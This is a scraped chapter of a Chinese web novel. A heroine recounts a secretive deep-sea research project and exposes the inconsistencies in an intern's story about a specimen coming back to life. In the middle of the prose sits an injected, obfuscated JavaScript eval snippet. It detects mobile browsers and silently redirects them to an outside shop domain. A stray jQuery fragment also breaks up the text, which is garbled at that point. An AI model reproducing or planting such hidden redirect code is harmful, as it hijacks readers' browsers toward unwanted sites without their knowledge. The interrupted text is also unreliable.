文趣网 > 其他小说 > 和死对头在无限流中he了 > 26. 捕鱼达人(9)
    “好乖哦——”

    祝承仪拖长了语调,声音浸在微凉海水里,软乎乎又带着几分戏谑的调侃。

    她望着近在咫尺的梅绛雪,眼尾的弧度弯得愈发狡黠,活像得逞的海妖,轻轻松松便勾动了沉敛之人的脚步。

    梅绛雪眉头微蹙,错开她的目光,喊了她的名字,语气中隐约透出几分不耐:“祝承仪。”

    “切。”祝承仪无趣地撇了撇嘴,唇边戏谑的笑意缓缓敛去,方才那副勾人打趣的模样转瞬消散。

    她微微偏过头,目光望向岩洞深处昏暗的阴影,目光缥缈恍惚,又像是透过那里在看什么。

    沉寂片刻后,她才缓缓开口,嗓音褪去方才的轻快调笑,多了几分认真。

    “你还记得两年前,祝氏集团公布和深海研究所的合作吗?”

    梅绛雪闻言一愣,眸子里掠过一丝诧异。

    他没料到,话题会陡然从怪物弱点跳转至现实里的集团合作旧事。

    “自然记得。”他沉声应声,思绪跟着被拉回过往,“当年那场合作声势浩大,梅家本也想掺一股进去的,但因为当时内部问题……”

    “这件事情全网都有相关报道,只是后来项目突然悄无声息地搁置,再也没有传出后续消息。”

    祝承仪语气低缓:“那场合作名义上是探索深海资源、研究海底未知生物,可内里藏着的门道,远没有表面看上去这般简单。”

    她缓缓收回视线,转头正视着梅绛雪,忽然又笑了:“梅家没参与进去,现在看起来倒还真是因祸得福。”

    彼时家族内部事务纠葛繁杂,各方势力拉扯不休,大大小小的琐事缠得人分身乏术,梅绛雪整日都沉浸在繁杂事务与家族权责之中。

    根本没有多余心力去关注外界轰动一时的深海合作项目,对外界流传的种种传闻,也只知晓个大概皮毛。

    “所以,当时发生了什么?”

    “实验失败了。”祝承仪有些不太想回忆那段经历,她睫羽轻轻颤了颤,眼底漫开一层浅淡的阴霾,连周身松弛的气息都沉了大半。

    微凉的海水静静流淌,卷着岩洞深处湿冷的气息,衬得她的声音格外低沉晦涩。

    “不是普通的数据偏差和勘探失利,是彻底的、无法挽回的失控。”

    当年,临近祝承仪大学毕业实习期结束,刚回家就听爸爸说最近集团旗下的科研公司,敲定了和国家级深海研究所的深度合作。

    那是两年前最火热的风口。

    多少企业挤破头想和深海研究所达成合作,祝氏能拿下独家深度联营名额,一时风头无两。

    外界人人艳羡,都夸祝氏眼光毒辣,抢先攥住了深海科研的未来红利。

    连财经版面都通篇吹捧,说这是足以改写近海资源格局的重磅项目。

    当时的祝承仪也是那般认为。

    她激动不已地向爸爸申请,想要加入项目组,参与深海勘探与生物研究工作,这样可以丰富她的阅历。

    祝父却说:“走不了后门的女儿,除非你自己能面试进去,证明自己的实力。”

    那时的她年少意气,干净又赤诚。

    她一口便答应了下来,并斩钉截铁地说:“我一定会面试进去的!”

    半个月她啃遍了家里所有的深海文献,自学勘探基础知识,甚至主动完成了多份深海未知生物的研究报告,一腔热忱,只想跻身这个万众瞩目的顶尖项目。

    她笃定,这是最有意义的科研探索,是能造福行业,探索自然秘境的好事。

    如她所愿,她凭着实打实的学识与打磨多日的研究报告,硬生生从数百名面试者里脱颖而出,顺利拿到了深海研究所的实习准入资格。

    项目启动,祝承仪看着剪彩仪式的落幕,眼睛亮亮的,心中满是对新工作项目的憧憬。

    入职初期的日子忙碌又踏实。

    她被分配在浅层海域生态观察组,做最基础的数据记录、生物采样、海域环境归档。

    一开始,项目都稳步推进。

    直到负责实验科研的严教授带回一个奇怪的海底生物标本。

    海底生物标本最为项目机密,身为底层实习生的她根本就接触不到,只有几位核心的教授才有权限进入深海保密实验室,参与样本研究。

    所有人都对此闭口不提,实验室常年大门紧锁,遮光帘终日密闭,将内里的一切隐秘死死封存。

    祝承仪起初只当是研究所常规的珍稀样本保密机制,心里虽有好奇,却也恪守规矩,从不越界打探。

    她依旧安分守己做好自己的浅层观测工作,偶尔交接一下与祝氏集团的汇报材料。

    “喂,你听说了吗?昨夜实验室突然停电,有人看到生物标本活了过来。”

    “生物标本活了?这怎么可能,都做成标本了欸。”

    “你别不信,就是小陈看见的,她告诉我的,不信你问问她。”

    祝承仪刚检查完这周上交的资料,正准备午休去吃饭,路过茶水间的时候,就听见茶水间角落传来压低的窃窃私语。

    几个实习生围拢成团,刻意压着声线,讨论着昨夜实验室的事情。

    被喊作小陈的女生脸色惨白,紧紧攥着水杯,神色紧张,明显还没从昨夜的惊吓里缓过来。

    “我没撒谎,我真的看见了。”她咬着下唇,飞快扫了眼空旷的走廊,生怕被安保或是研究员听见。

    见附近没人,这才低声道:“昨晚后半夜全所临时停电,整栋楼漆黑一片,只有保密实验室的应急灯自动亮了,我刚好在楼下加班收尾,抬头就看见实验室遮光帘的缝隙里,透出晃动的黑影。”

    “然后我就看到,那里面的标本……在动。”

    一句话落下,周遭瞬间安静。

    其余几个实习生面面相觑,后背齐齐窜起一层寒意。

    “怎么可能?”有人低声反驳,“那是深海打捞上来的死亡生物标本,经过防腐固化处理,封存了快两个月了,怎么会自主活动?”

    “我一开始也以为是自己熬夜看花了眼,是水流晃动的虚影。”小陈喉头滚动,声音发哑,“可应急灯却亮着绿灯,我看得清清楚楚……”

    “那东西的躯体在液体里扭曲蠕动,原本僵硬的尾部轻轻摆动,甚至……甚至朝着玻璃壁撞了一下。”

    “还有眼睛!”

    她猛地压低音量,瞳孔震颤,说出最惊悚的细节。

    “它原本浑浊灰白的眼部,亮起了一点猩红的光,转瞬就灭了,那不像任何深海生物的瞳色,诡异得吓人,而且原本平整的标本表皮,好像又长出了新的褶皱肌理。”

    “像是……在长新肉。”

    小陈颤动着手拧开水杯,抿了一口水,压住内心的惶恐,又道:“停电只有短短几十秒,来电之后一切又恢复正常,实验室安安静静,好像什么都没发生过。”

    祝承仪立在走廊阴影里,心头骤然一震。

    惊悸过后,又很快反应过来。

    她抬眼望向斜上方的楼层结构,眉峰不自觉微微蹙起。

    研究所的布局她早已熟记于心,打卡接待都在一楼,众人日常办公,浅层观测的区域都在二楼,而那间戒备森严的保密实验室,分明设在三楼最内侧。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565888|203538||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    两层楼之间隔着厚重的楼板与隔断墙体,寻常角度别说窥见室内景象,就连灯光都很难穿透下来。

    更何况那间实验室安保等级全所最高,合金大门配着多重门禁,除却几位核心教授的瞳孔识别权限,其余任何人,哪怕是资历深厚的研究员,都无法靠近半步,更别提推门入内观察舱中样本。

    小陈只是一名普通实习生,既无权限,又不可能凭空穿墙。

    那她又是怎么在二楼恰巧抬头看见三楼的实验室亮着应急灯,又是怎么进入需要瞳孔识别的实验室,看见“死而复活的海底生物标本”?

    这番说辞,处处都是破绽。

    茶水间里的议论还在继续,有人被这番诡异见闻吓得心神不宁,连连追问后续,也有人半信半疑,低声嘀咕着是不是夜间视物产生了幻觉。

    祝承仪缓了缓心神,拿起桌上的杯子,缓步走了过去。

    她面上不显异样,依旧是平日里温和的模样:“你们在说什么呢?”

    几人被她忽然出声吓得肩头一跳,猛地回头,见是祝承仪,才稍稍松了口气,只是脸上的惊惧依旧未散。

    “这是怎么了?神经兮兮的。”

    祝承仪走到饮水机旁,自然地接了杯水。

    同组的女生连忙抬手比了个噤声的手势,压着嗓子道:“是你啊承仪,我们就是随便聊聊昨晚实验室的怪事。”

    祝承仪故作茫然地眨了眨眼,语气轻快,像是纯粹好奇:“实验室的怪事?我可以听听吗?”

    “让小陈给你说吧,她亲眼看到的。”

    祝承仪顺着目光落在小陈紧绷的脸上。

    小陈被她看得微微局促,眼神飘忽,下意识避开她的视线,小声复述了一遍昨晚的所见所闻,只是语气比刚才笃定的议论弱了不少,隐隐带了几分底气不足。

    等她说完,祝承仪才轻轻蹙起眉,一副认真思索的模样,缓缓开口,句句温和,却句句戳穿漏洞。

    “奇怪啊。”

    同组女生疑惑道:“承仪,怎么了?”

    祝承仪淡淡一笑,耐心替她们解答:“保密实验室在三楼,我们整片办公区都在二楼,中间是实心承重楼板,窗户也是特殊的双层遮光防爆玻璃,别说里面有黑影,就算实验室全开大灯,楼下都透不出半点光。”

    “更何况那间实验室的门禁是全所最高规格,瞳孔密码双重解锁,连普通研究员都靠近不了,你昨晚只是在二楼加班收尾,怎么能看清实验室内部的标本细节?”

    几句话落下。

    茶水间瞬间彻底安静。

    其余几个实习生脸上的害怕瞬间褪去,取而代之的是错愕和恍然。

    对啊。

    她们只顾着被“标本复生、长新肉、红眼瞳光”的怪事吓得头皮发麻,居然没人发现,整件事从逻辑上根本说不通。

    小陈的脸瞬间唰地白透了,指尖死死扣着杯壁,唇瓣反复翕动,半天挤不出一句话:“我、我就是看见了……可能是楼梯间的角度,刚好反光……”

    “对了,楼梯间正对的是实验室后侧通风墙,没有窗户。”祝承仪淡淡打断,语气依旧平和,却字字清晰,“不通光,不透影。”

    小陈彻底哑口无言,脸颊一阵红一阵白,难堪又慌乱,眼底藏着一丝说不清道不明的恐惧。

    祝承仪看在眼里,心中已然有了数。

    不是小陈眼花,也不是她刻意造谣。

    可她太慌了,慌张得不像撒谎骗人,反倒像是被人刻意灌输了画面,被授意转述了这些话。

    “是有人和你说过什么吗?”